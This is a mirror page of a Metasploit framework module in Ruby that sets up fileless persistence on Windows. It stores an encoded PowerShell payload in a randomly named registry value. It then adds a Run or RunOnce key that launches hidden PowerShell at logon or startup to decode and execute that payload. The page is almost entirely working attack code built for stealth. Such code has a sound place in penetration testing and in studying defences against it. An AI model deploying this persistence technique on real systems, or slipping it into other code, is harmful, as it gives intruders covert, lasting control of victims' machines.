Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/registry.rb
24767 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
include Msf::Exploit::Deprecated
15
moved_from 'exploits/windows/local/registry_persistence'
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Registry Only Persistence',
22
'Description' => %q{
23
This module will install a payload that is executed during boot.
24
It will be executed either at user logon or system startup via the registry
25
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
26
The payload will be installed completely in registry.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
31
'h00die',
32
],
33
'Platform' => [ 'win' ],
34
'SessionTypes' => [ 'meterpreter', 'shell' ],
35
'Targets' => [
36
[ 'Automatic', {} ]
37
],
38
'References' => [
39
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
40
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
41
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
42
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2015-07-01',
46
'Notes' => {
47
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
48
'Stability' => [CRASH_SAFE],
49
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
50
}
51
)
52
)
53
54
register_options([
55
OptEnum.new('STARTUP',
56
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
57
OptString.new('BLOB_REG_KEY',
58
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
59
OptString.new('BLOB_REG_NAME',
60
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
61
OptString.new('RUN_NAME',
62
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
63
OptInt.new('SLEEP_TIME',
64
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
65
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
66
])
67
end
68
69
def generate_payload_blob
70
opts = {
71
wrap_double_quotes: true,
72
encode_final_payload: true
73
}
74
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
75
end
76
77
def generate_cmd(root_path, blob_key_name, blob_key_reg)
78
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
79
end
80
81
def generate_blob_reg
82
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
83
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
84
return blob_reg_key, blob_reg_name
85
end
86
87
def generate_cmd_reg
88
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
89
end
90
91
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
92
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
93
new_key = false
94
if !registry_enumkeys(blob_reg_key)
95
unless registry_createkey(blob_reg_key)
96
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
97
end
98
print_good("Created registry key #{blob_reg_key}")
99
new_key = true
100
end
101
102
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
103
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
104
end
105
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
106
return new_key
107
end
108
109
def regkey
110
datastore['REG_KEY']
111
end
112
113
def install_cmd(cmd, cmd_reg, root_path)
114
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
115
fail_with(Failure::Unknown, 'Could not install run key')
116
end
117
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
118
end
119
120
def get_root_path
121
return 'HKCU' if datastore['STARTUP'] == 'USER'
122
123
'HKLM'
124
end
125
126
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
127
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
128
if new_key
129
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
130
end
131
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
132
end
133
134
def check
135
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
136
137
vprint_good('Powershell detected on system')
138
139
# test write to see if we have access
140
root_path = get_root_path
141
rand = Rex::Text.rand_text_alphanumeric(15)
142
143
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
144
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
145
146
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
147
148
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
149
end
150
151
def install_persistence
152
print_status('Generating payload blob..')
153
blob = generate_payload_blob
154
print_good("Generated payload, #{blob.length} bytes")
155
156
root_path = get_root_path
157
print_status("Root path is #{root_path}")
158
159
blob_reg_key, blob_reg_name = generate_blob_reg
160
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
161
cmd_reg = generate_cmd_reg
162
163
print_status('Installing payload blob..')
164
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
165
166
print_status('Installing run key')
167
install_cmd(cmd, cmd_reg, root_path)
168
169
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
170
end
171
end
172
173